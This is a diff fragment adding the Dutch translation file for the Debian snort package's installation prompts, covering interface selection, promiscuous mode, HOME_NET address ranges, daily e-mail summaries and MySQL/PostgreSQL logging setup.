+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Deze waarde is normaal 'eth0', maar misschien wil u dit aanpassen "
+"afhankelijk van uw omgeving. Als u een inbelverbinding gebruikt, is 'ppp0' "
+"misschien meer geschikt (hint: gebruik 'ip link show' of 'ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Deze interface is normaal dezelfde die de 'default route' heeft. Om te "
+"bepalen welke interface gebruikt wordt, kunt u '/sbin/route -n' uitvoeren"
+"(zoek naar '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Het is ook niet ongewoon om Snort te draaien op een interface zonder IP "
+"adres en geconfigureerd in promiscue modus. In dat geval, selecteert u de "
+"interface die fysiek verbonden is met het netwerk dat u wilt onderzoeken, "
+"activeert u later de promiscue modus en verzekert u zich ervan dat het "
+"netwerkverkeer naar deze interface verzonden wordt (verbonden via een 'port "
+"mirroring/spanning'-poort op een switch, via een hub, of via een tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"U kunt hier verschillende interfaces definiëren, door meer dan één naam van "
+"een interface te vermelden, gescheiden door spaties. Elke interface kan zijn "
+"eigen specifieke configuratie hebben."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adresbereik waarop Snort zal luisteren?"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"U dient de CIDR-vorm te gebruiken (dit is 192.168.1.0/24 voor een blok van "
+"256 IP-adressen of 192.168.1.42/32 voor één enkel IP-adres). U kunt meerdere "
+"adressen opgeven op één regel door ze te scheiden met kommas; spaties zijn "
+"hierbij niet toegestaan!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Merk op dat als u meerdere interfaces gebruikt, deze definitie gebruikt zal "
+"worden als de HOME_NET definitie van al deze interfaces."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Wilt u dat Snort de promiscue modus van de interface uitschakelt?"
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Uitschakelen van de promiscue modus betekent dat Snort enkel die pakketten "
+"ziet die bestemd zijn voor zijn eigen interface. Het inschakelen van de "
+"promiscue modus laat Snort toe om elk op dit ethernet-segment langskomend "
+"pakket te controleren, zelfs als het een pakket is van een verbinding tussen "
+"twee andere computers."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ongeldige interface"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort probeert een interface te gebruiken die niet bestaat of die niet "
+"actief is. Ofwel gebruikt Snort onterecht de standaard interface 'eth0', or "
+"heb je een interface opgegeven die niet correct is."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Moet de volgorde van het testen van de regels van Snort aangepast worden "
+"naar Pass|Alert|Log (doorlaten|alarmeren|loggen)?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"De standaard test volgorde van Snort is Alert|Pass|Log (Verwittigen|"
+"Doorlaten|Loggen); als je deze optie accepteert, zal de volgorde gewijzigd "
+"worden in Pass|Alert|Log (Doorlaten|Verwittigen|Loggen)' dit kan het "
+"eenvoudiger maken om Snort te gebruiken met sommige pakket filtering "
+"programma's."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Moeten de dagelijkse samenvattingen per e-mail worden verstuurd ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Een cron job kan opgezet worden om dagelijks samenvattingen van Snort logs "
+"naar een bepaald e-mail adres te sturen."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Gelieve te kiezen als u deze optie wil activeren."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Ontvanger van de dagelijkse statistiekmails:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Gelieve het e-mail adres op te geven dat de dagelijkse samenvatting van de "
+"Snort logs moet ontvangen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Extra eigen opties:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Gelieve eventuele additionele opties te geven die Snort moet gebruiken"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimum aantal keren voorkomen om alarmen te rapporteren:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Een waarschuwing dient vaker dan het hier opgegeven aantal keren voor te "
+"komen opdat die weergegeven zou worden in de dagelijkse statistieken."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Een herstart van Snort is vereist"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Vermits Snort normaal manueel wordt gestart, moet u '/etc/init.d/snort' "
+"uitvoeren om de aanpassingen door te voeren."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Configuratiefout"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"De huidige Snort configuratie is ongeldig en zal verhinderen dat Snort "
+"normaal wordt opgestart. Gelieve de configuratie na te kijken en te "
+"corrigeren."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Om een fout in een Snort congifuratiebestand te analyseren, gebruik '/usr/"
+"sbin/snort -T -c <file>'"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Verouderd configuratie bestand"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Uw systeem heeft een verouderd configuratiebestand (/etc/snort/snort.common."
+"parameters) dat nu automatisch is omgezet in een nieuw "
+"configuratiebestandsformaat (in /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Kijkt u aub het nieuwe configuratiebestand na en verwijder het verouderde "
+"bestand. Tot u dit doet, zal het init.d script de nieuwe configratie niet "
+"gebruiken en zal u niet kunnen genieten van de voordelen die de nieuwere "
+"versies bieden."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Wilt u een een database opzetten waar snort-mysql het logboek in kan "
+"bijhouden?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Er is geen databank opgezet voor Snort om naar te loggen. Voor u verder kan "
+"gaan, moet u deze eerst opzetten:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - de server host naam (die server met TCP verbindingen van deze machine "
+"accepteren) - een database op die server - een gebruikersnaam en paswoord om "
+"toegang te krijgen tot de databank"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Als sommige van deze noodzakelijke elementen ontbreken, gebruik dan deze "
+"optie niet en draai Snort met gewone logging naar een bestand"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Logging naar een databank kan later ook nog geconfigureerd worden met het "
+"commando 'dpkg-reconfigure -plow snort-mysql'"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Database server hostnaam:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Gelieve een hostnaam voor de databank server op te geven. U dient ervoorte "
+"zorgen dat deze correct is ingesteld is om inkomende verbindingen vandeze "
+"computer te aanvaarden!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Databanknaam:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Gelieve de naam van een bestaande databank op te geven waarnaar de databank "
+"gebruiker schrijftoegang heeft"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "gebruikersnaam (account) voor database toegang:"
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Gelieve een databank gebruikersnaam op te geven met schrijfrechten in de "
+"databank:"
+
+#  Type: password
+#  Description
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Gelieve het paswoord voor de databaseverbinding in te geven:"
+
+#  Type: password
+#  Description
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Wat is het wachtwoord om verbinding te maken met de Snort-Alert databank?"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Een geconfigureerde databank is noodzakelijk voor Snort"
+
+#  Type: note
+#  Description
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort heeft een geconfigureerde database nodig voor het succesvol kan "
+"opstarten. Om de structuur aan te maken, moet u volgende commando's "
+"uitvoeren NADAT het pakket is geinstalleerd:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+"cd·/usr/share/doc/snort-mysql/zcat·create_mysql.gz·|·mysql·-u·<user>·-"
+"h·<host>·-p·<databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Vul de correcte waarden in voor gebruiker, host en databank namen. MySQL zal "
+"u vragen naar het paswoord."
+
+#  Type: note
+#  Description
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Nadat u de databank struktuur heeft aangemaakt, moet u Snort manueel starten."
+
+#  Type: boolean
+#  Description
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Wilt u een database opzetten waar snort-pgsql het logboek in kan bijhouden?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Logging naar een databank kan later geherconfigureerd worden met het "
+"commando'dpkg-reconfigure -plow snort-pgslq'"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+"·cd·/usr/share/doc/snort-pgsql/·zcat·create_postgresql.gz·|·psql·-U·<user>·-"
+"h·<host>·-W·<databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Vul de correcte waarden in voor gebruiker, host en databank namen.PostgreSQL "
+"zal u later vragen om het paswoord."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Verouderd configuratie bestand"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Uw snort-configuratiebestand (/etc/snort/snort.conf) maakt gebruik van "
+"verouderde opties die door deze versie niet meer ondersteund worden. Met een "
+"onjuist configuratiebestand kan Snort niet opstarten. U kunt uw bestaande "
+"configuratiebestand vervangen met het door dit pakket meegeleverde bestand, "
+"of u kunt de verouderde opties handmatig verwijderen."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in the configuration file: "
+#| "${DEP_CONFIG}."
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"De volgende verouderde opties werden in uw configuratiebestand aangetroffen: "
+"${DEP_CONFIG}"
+
+#  Type: note
+#  Description
+#~ msgid "You are running Snort manually"
+#~ msgstr "U voert Snort handmatig uit."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Er is een fout in uw configuratie"
+
+#  Type: select
+#  Choices
+#~ msgid "boot, dialup, manual"
+#~ msgstr "bij het opstarten, bij het inbellen, handmatig"
+
+#  Type: select
+#  Description
+#~ msgid "When should Snort be started?"
+#~ msgstr "Wanneer dient Snort opgestart te worden?"
+
+#  Type: string
+#  Description
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Wanneer u geen enkel deel van het netwerk wilt vertrouwen, kunt 'any' "
+#~ "opgeven."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Een van de interfaces die u hebt gespecifieerd is niet geldig "
+#~ "(misschienbestaat het niet op het systeem of is het niet actief). Gelieve "
+#~ "een geldigeinterface op te geven wanneer u de vraag beantwoordt op welke "
+#~ "interfacesSnort moet luisteren."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Als u geen interface hebt geconfigureerd, dan zal het programma "
+#~ "proberenom de standaard interface ('eth0') te gebruiken die niet actief "
+#~ "schijnt te zijnop dit systeem."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Wanneer u de volgorde van het testen van de regels van Snort verandert "
+#~ "naar 'Pass|Alert|Log', zullen de regels toegepast worden in de volgorde "
+#~ "Pass->Alert->Log, in plaats van Alert->Pass->Log. Dit voorkomt dat men "
+#~ "enorme 'Berky Packet Filter' commandoregel-argumenten dient te gebruiken "
+#~ "om de 'alert'-regels uit te filteren."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Deze Snort installatie voorziet een cron job die dagelijks loopt en diede "
+#~ "informatie van de Snort logs samenvat en verstuurt naar een geselecteerd "
+#~ "e-mail adres. Als u deze functie wil desactiveren, zegt udan 'no' bij "
+#~ "deze functie."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Een dagelijks uitgevoerde taak (cron job) vat de informatie in de door "
+#~ "snort gegenereerde logboeken samen met een script (genaamd 'snort-stat'). "
+#~ "Hier geeft u aan wie deze e-mails zal ontvangen. De standaardwaarde is de "
+#~ "systeembeheerder. Als u dit zo laat, dient u ervoor te zorgen dat de e-"
+#~ "mail van de beheerder omgeleid wordt naar een gebruiker die deze "
+#~ "berichten ook daadwerkelijk nakijkt."
+
+#  Type: string
+#  Description
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Als u speciale opties aan Snort wil meegeven, kunt u deze hier opgeven."
+
+#  Type: note
+#  Description
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Gelieve Snort te herstarten via:\n"
+#~ " /etc/init.d/snort restart\n"
+#~ "om de instellingen in werking te doen treden."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Uw Snort configuratie is niet correct en Snort zal niet in staat zijn om "
+#~ "normaal op te starten. Gelieve uw configuratiebestand na te kijken en te "
+#~ "corrigeren. Als u dit niet doet, zullen latere opwaarderingen "
+#~ "vermoedelijk niet correct werken. Voer dan '/usr/sbin/snort -T -c /etc/"
+#~ "snort/snort.conf' uit om te controleren welke fout wordt gegenereerd (of "
+#~ "verwijs naar een alternatief configuratiebestand als u verschillende "
+#~ "configuratiebestanden gebruikt voor verschillende interfaces)."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Dit dient enkel de eerste keer dat u snort-mysql installeert te gebeuren. "
+#~ "Voordat u verder gaat, dient u over de volgende informatie te "
+#~ "beschikken:\n"
+#~ "  (1) de computernaam van een mysql-databaseserver die verbindingen van "
+#~ "deze machine aanvaardt\n"
+#~ "  (2) een database op die server\n"
+#~ "  (3) een gebruikersnaam en wachtwoord die toegang verlenen tot die "
+#~ "database\n"
+#~ "Als u niet over _al_ deze informatie beschikt, kunt u daar ofwel eerst "
+#~ "voor zorgen, ofwel 'nee' kiezen en het logboek gewoon in een bestand "
+#~ "opslaan. U kunt het databaselogboek altijd later instellen via het "
+#~ "commando 'dpkg-reconfigure -plow snort-mysql'"
+
+#  Type: string
+#  Description
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "U dient ervoor te zorgen dat deze gebruiker aangemaakt is en "
+#~ "schrijfrechten heeft."
+
+#  Type: note
+#  Description
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort heeft een geconfigureerde database nodig voor het logboek vóór "
+#~ "het kan starten."
+
+#  Type: boolean
+#  Description
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Dit dient enkel de eerste keer dat u snort-pgsql installeert te gebeuren. "
+#~ "Voordat u verder gaat, dient u over de volgende informatie te "
+#~ "beschikken:\n"
+#~ "  (1) de computernaam van een pgql-databaseserver die verbindingen van "
+#~ "deze machine aanvaardt\n"
+#~ "  (2) een database op die server\n"
+#~ "  (3) een gebruikersnaam en wachtwoord die toegang verlenen tot die "
+#~ "database\n"
+#~ "Als u niet over _al_ deze informatie beschikt, kunt u daar ofwel eerst "
+#~ "voor zorgen, ofwel 'nee' kiezen en het logboek gewoon in een bestand "
+#~ "opslaan. U kunt het databaselogboek altijd later instellen via het "
+#~ "commando 'dpkg-reconfigure -plow snort-pgsql"
+
+#  Type: note
+#  Description
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort heeft een geconfigureerde database nodig voor het succesvol kan "
+#~ "opstarten. Om de struktuur aan te maken, moet u volgende commando's "
+#~ "uitvoeren NADAT het pakket is geinstalleerd:\n"
+#~ "  cd /usr/share/doc/snort-pgsql/\n"
+#~ "  zcat create_postgresql.gz | psql -U <gebruiker> -h <server> -W "
+#~ "<databasenaam>\n"
+#~ "Hierbij dient u de juiste waarden voor <gebruiker>, <computer>, en "
+#~ "<dtabasenaam> in te vullen. PostgreSQL vraagt u om het wachtwoord."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Uw configuratiebestand is verouderd"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Gelieve de naam in te geven van de interface(s) waarop Snort dient te "
+#~ "luisteren. U kan de namen van de beschikbare interfaces te weten komen "
+#~ "met het commando 'ip link show' of 'ifconfig'. Gewoonlijk is deze waarde "
+#~ "'eth0', maar afhankelijk van uw omgeving wilt u dit misschien aanpassen. "
+#~ "Als u een inbelverbinding gebruikt, is 'ppp0' waarschijnlijk meer van "
+#~ "toepassing."
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Op welk adresbereik dient Snort te luisteren?"
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Als u Snort instelt op een interface zonder IP-adres dient u de promiscue "
+#~ "modus uit te schakelen."
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Wat is de computernaam van de te gebruiken MySQL-databaseserver?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Wat is de naam van de te gebruiken database?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Wat is de naam van de te gebruiken databasegebruiker?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Wat is de computernaam van de te gebruiken pgsql-databaseserver?"
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Uw systeem heeft een verouderd configratiebestand (/etc/snort/snort."
+#~ "common.parameters) dat automatisch is omgezet in het nieuwe "
+#~ "configuratiebestandsformaat (in /etc/default/snort). Gelieve de nieuwe "
+#~ "configuratie na te kijken en de verouderde configuratie te verwijderen. "
+#~ "Zolang dit niet is gebeurd, zal het init.d script de nieuwe configuratie "
+#~ "niet gebruiken en zal u geen gebruik kunnen maken van de voordelen die "
+#~ "zijn geintroduceerd in de nieuwe versies."
--- snort-2.8.5.2.orig/debian/po/es.po
